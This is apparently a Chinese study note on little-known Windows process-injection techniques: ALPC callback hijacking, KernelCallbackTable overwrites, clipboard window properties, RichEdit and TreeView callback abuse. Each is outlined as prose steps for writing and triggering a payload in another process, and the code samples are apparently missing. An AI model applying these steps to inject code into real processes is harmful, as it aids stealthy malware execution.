[原创]Windows不太常见的进程注入学习小记(二)

这个只是我学习的笔记,真正的代码实现都是网上有人已经公开了的,给了参考链接了,这不是我发现的也不是我研究的,这只是我学习的。

本地过程调用LPCLocal Procedure Call,通常也被称为轻量过程调用或者本地进程间通信是一种由Windows NT内核提供的内部进程间通信方式。通过这一方式,同一计算机上的进程可以进行轻量的通信。在Windows Vista中,ALPCAdvanced Local Procedure Call,高级本地进程通信)替代了LPC。ALPC提供了一个高速可度量的通信机制,这样便于实现需要在用户模式下高速通信的用户模式驱动程序框架(UMDF,User-Mode Driver Framework)(搜索引擎查的)。

按照 Alex Ionescu在 syscan2014上的发言,即使最简单的windows程序都会有ALPC连接。可以用ProcessExplorer查看每个进程的ALPC Port的名字。我查看得情况确实是这样的。

与ALPC的中的回调保存地址有关的结构体:TP_CALLBACK_OBJECT

其中TP_SIMPLE_CALLBACK是保存回调函数地址的结构,第二个参数是函数参数。为:
其中TP_SIMPLE_CALLBACK是保存回调函数地址的结构,第二个参数是函数参数。为:

根据文章内容和代码,我只能确定构造后的Context参数为TP_SIMPLE_CALLBACK本身所在的地址。

通过进程名拿到要注入的目标进程id,通过进程id获取进程句柄。

通过NtQuerySystemInformation,传0x10(SystemHandleInformation)参数获取句柄信息。

判断循环判断句柄是否是属于要注入的目标进程的ALPC端口对象。

判断句柄所属进程的pid是不是目标进程

判断句柄类型是不是45...文章说不同的操作系统版本这个值不太一样,windows10是45。

搜索进程内存,找到进程中的PTP_CALLBACK_OBJECT结构体。

对找到的结构进行HOOK

https://conference.hitb.org/hitbsecconf2014kul/materials/D2T1%20-%20Ben%20Nagy%20-%20ALPC%20Fuzzing%20Toolkit.pdf

https://blog.csdn.net/weixin_43787608/article/details/84555474

KernelCallBackTable是一个结构体,可以通过PEB来找到这个结构体的地址,当程序调用USER32.DLL时,KernelCallbackTable就会被初始化为函数数组。这个函数数组中的函数通常用于响应窗口消息,例如,_fnCOPYDATA是响应WM_COPYDATA消息而执行的。

PEB结构体中的KernelCallbackTable结构所在位置:

KernelCallBackTable结构体:

例子程序中HOOK的是WM_COPYDATA的响应函数fnCOPYDATA

还是根据窗口名获取进程id获取进程句柄。

使用NtQueryInformationProcess传入ProcessBasicInformation来获取目标进程的PEB。

根据偏移找到KernelCallbackTable

HOOK KernelCallbackTable 中的fnCOPYDATA。

发消息触发HOOK

恢复KernelCallbackTable

CLIPBRDWNDCLASS这个窗口类通常与剪切板相关,类中的属性中有处理剪切板数据所需的函数地址。这里主要用ClipboardDataObjectInterface的属性实现进程注入。ClipboardRootDataObjectInterface和ClipboardDataObjectInterfaceMTA这两个属性也可以利用。

当使用SetProp这个API将属性ClipboardDataObjectInterface设置为IUnknown接口的地址后向该窗口发送WM_DESTROYCLIPBOARD消息,将会调用IUnknown接口中的Release方法。

IUnknown接口结构(冒牌货):

根据窗口类名找到窗口句柄,找到进程pid找到进程句柄。

在找到的进程之中申请内存构造IUnknow接口,将接口中的release设置为写入的payload的地址 ,将虚表设置为下个四字节的地址。

设置属性值,并发送消息触发自定义的payload。

RichEdit控件是一个可用于输入、编辑、格式化、打印和保存文本的窗口空间。该控件中有许多的回调函数用于处理不同的消息。

这一次利用的消息有:

通过该消息可以设置当有键盘按键事件发生时的消息回调。

找到具有RICHEDIT50W窗口类的空间,测试代码为了测试是直接通过写字板应用程序测试的。

获取当前Wordwrap函数的地址,和写字板的进程ID,打开该进程。

在写字板进程中申请内存写入payload,将消息回调设置为payload的地址。

模拟键盘输入操作触发payload,然后恢复窗口回调。

当RIchEdit控件收到EM_STREAMIN消息时候,将会使用EDITSTREAM结构将数据传入或者传出控件。

其中为EDITSTREAMCALLBACK类型的pfnCallback字段可以用于指向payload。当使用这个方法的时候,控件中的文本内容将会被删除。

获取相应进程信息

申请内存,创建EDITSTREAM对象

触发payload

​ 这个其实和消息回调关系不大,EM_GETOLECALLBACK可以获取虚表执政,主要是用于HOOK RichEditOle的虚表指针,将整个虚表指针hook。以下是该控件虚表指针的虚表原型。

老样子

查询接口

读取虚表指针地址

读取虚表内容

将虚表指针进行HOOK,构造虚表,将表中关于WM_COPY的回调函数修改为payload的的地址并触发消息。

主要以获取treelist的句柄之后,获取treelist的第一项,构造TVSORTCB结构,对treelist第一项发送消息TVM_SORTCHILDRENCB,触发TVSORTCB结构中的payload。

老规矩,不过这一次实验是通过注册表实现的

获取treelist的根节点,构造TVSORTCB结构。发送TVM_SORTCHILDRENCB以触发结构中的payload。

这个比较简单,直接获取treelist控件,发送消息LVM_SORTITEMS以运行payload。有个缺点就是treelist的子tree都会响应这个消息。。。想想就很恐怖。
